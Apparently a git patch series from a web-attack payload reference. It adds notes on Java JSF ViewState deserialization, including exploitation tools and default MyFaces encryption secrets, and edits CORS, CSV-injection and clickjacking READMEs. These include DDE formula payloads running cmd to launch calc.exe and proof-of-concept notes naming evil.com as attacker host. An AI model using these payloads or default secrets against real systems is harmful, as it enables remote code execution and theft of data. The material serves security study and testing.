+In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:
+
+* Oracle Mojarra (JSF reference implementation)
+* Apache MyFaces
+
+**Tools**:
+
+* [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool
+* [Synacktiv-contrib/inyourface](https://github.com/Synacktiv-contrib/inyourface) - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates.
+
+
+### Encoding
+
+| Encoding | Starts with |
+| ------------- | ----------- |
+| base64 | `rO0` |
+| base64 + gzip | `H4sIAAA` |
+
+
+### Storage
+
+The `javax.faces.STATE_SAVING_METHOD` is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.
+
+The storage method can also be inferred from the viewstate representation in the HTML body.
+
+* **Server side** storage: `value="-XXX:-XXXX"`
+* **Client side** storage: `base64 + gzip + Java Object`
+
+
+### Encryption
+
+By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.
+
+| Encryption Algorithm | HMAC |
+| -------------------- | ----------- |
+| DES ECB (default) | HMAC-SHA1 |
+
+Supported encryption methods are BlowFish, 3DES, AES and are defined by a context parameter.
+The value of these parameters and their secrets can be found inside these XML clauses.
+
+```xml
+org.apache.myfaces.MAC_ALGORITHM
+org.apache.myfaces.SECRET
+org.apache.myfaces.MAC_SECRET
+```
+
+Common secrets from the [documentation](https://cwiki.apache.org/confluence/display/MYFACES2/Secure+Your+Application).
+
+| Name | Value |
+| -------------------- | ---------------------------------- |
+| AES CBC/PKCS5Padding | `NzY1NDMyMTA3NjU0MzIxMA==` |
+| DES | `NzY1NDMyMTA=<` |
+| DESede | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
+| Blowfish | `NzY1NDMyMTA3NjU0MzIxMA` |
+| AES CBC | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
+| AES CBC IV | `NzY1NDMyMTA3NjU0MzIxMA==` |
+
+
+* **Encryption**: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
+* **Decryption**: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data
+
## References
- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
+- [Hack The Box - Arkham - 0xRick - August 10, 2019](https://0xrick.github.io/hack-the-box/arkham/)
- [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
- [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
+- [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://www.exploit-db.com/docs/48126)
- [Java-Deserialization-Cheat-Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
+- [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
+- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
From a16f8a6de1554bcdb9d0dc1f5c4e636263a47ce4 Mon Sep 17 00:00:00 2001
From: Swissky <12152583+swisskyrepo@users.noreply.github.com>
Date: Thu, 28 Nov 2024 21:36:01 +0100
Subject: [PATCH 05/14] Path Traversal + CSV Injection
---
CORS Misconfiguration/README.md | 8 +-
CSV Injection/README.md | 21 +-
Clickjacking/README.md | 7 +
Command Injection/README.md | 190 +++++++++--------
Cross-Site Request Forgery/README.md | 7 +-
DOM Clobbering/README.md | 20 +-
Dependency Confusion/README.md | 5 +
Directory Traversal/README.md | 296 +++++++++++++++++----------
8 files changed, 327 insertions(+), 227 deletions(-)
diff --git a/CORS Misconfiguration/README.md b/CORS Misconfiguration/README.md
index c6d5b87ac4..7ca76b33d0 100644
--- a/CORS Misconfiguration/README.md
+++ b/CORS Misconfiguration/README.md
@@ -54,7 +54,7 @@ Access-Control-Allow-Credentials: true
{"[private API key]"}
```
-#### Proof of concept
+#### Proof Of Concept
This PoC requires that the respective JS script is hosted at `evil.com`
@@ -118,7 +118,7 @@ Access-Control-Allow-Credentials: true
{"[private API key]"}
```
-#### Proof of concept
+#### Proof Of Concept
This can be exploited by putting the attack code into an iframe using the data
URI scheme. If the data URI scheme is used, the browser will use the `null`
@@ -175,7 +175,7 @@ Access-Control-Allow-Origin: *
{"[private API key]"}
```
-#### Proof of concept
+#### Proof Of Concept
```js
var req = new XMLHttpRequest();
@@ -210,7 +210,7 @@ Access-Control-Allow-Credentials: true
```
-#### Proof of concept (Example 1)
+#### Proof of Concept (Example 1)
This PoC requires the respective JS script to be hosted at `evilexample.com`
diff --git a/CSV Injection/README.md b/CSV Injection/README.md
index eb856d9f3d..d29b15559e 100644
--- a/CSV Injection/README.md
+++ b/CSV Injection/README.md
@@ -11,6 +11,16 @@
## Methodology
+CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
+
+```powershell
+=
++
+–
+@
+```
+
+
Basic exploits with **Dynamic Data Exchange**.
* Spawn a calc
@@ -30,7 +40,6 @@ Basic exploits with **Dynamic Data Exchange**.
```powershell
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
- +thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
```
@@ -52,16 +61,6 @@ Technical details of the above payloads:
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
-Any formula can be started with
-
-```powershell
-=
-+
-–
-@
-```
-
-
## References
- [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
diff --git a/Clickjacking/README.md b/Clickjacking/README.md
index 43780cb2e1..45c85e9de3 100644
--- a/Clickjacking/README.md
+++ b/Clickjacking/README.md
@@ -42,6 +42,7 @@ the attacker can trick the user into interacting with the hidden content, believ
* Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
* Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
* User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
+
```html
Click me
@@ -56,9 +57,11 @@ The content inside these invisible frames can be malicious, such as phishing for
* **How Invisible Frames Work:**
* Hidden IFrame Creation: The attacker includes an `
```
+
* Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
* User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
* Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
@@ -70,11 +73,13 @@ Button/Form Hijacking is a Clickjacking technique where attackers trick users in
* **How Button/Form Hijacking Works:**
* Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
+
```html
```
* Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
+
```html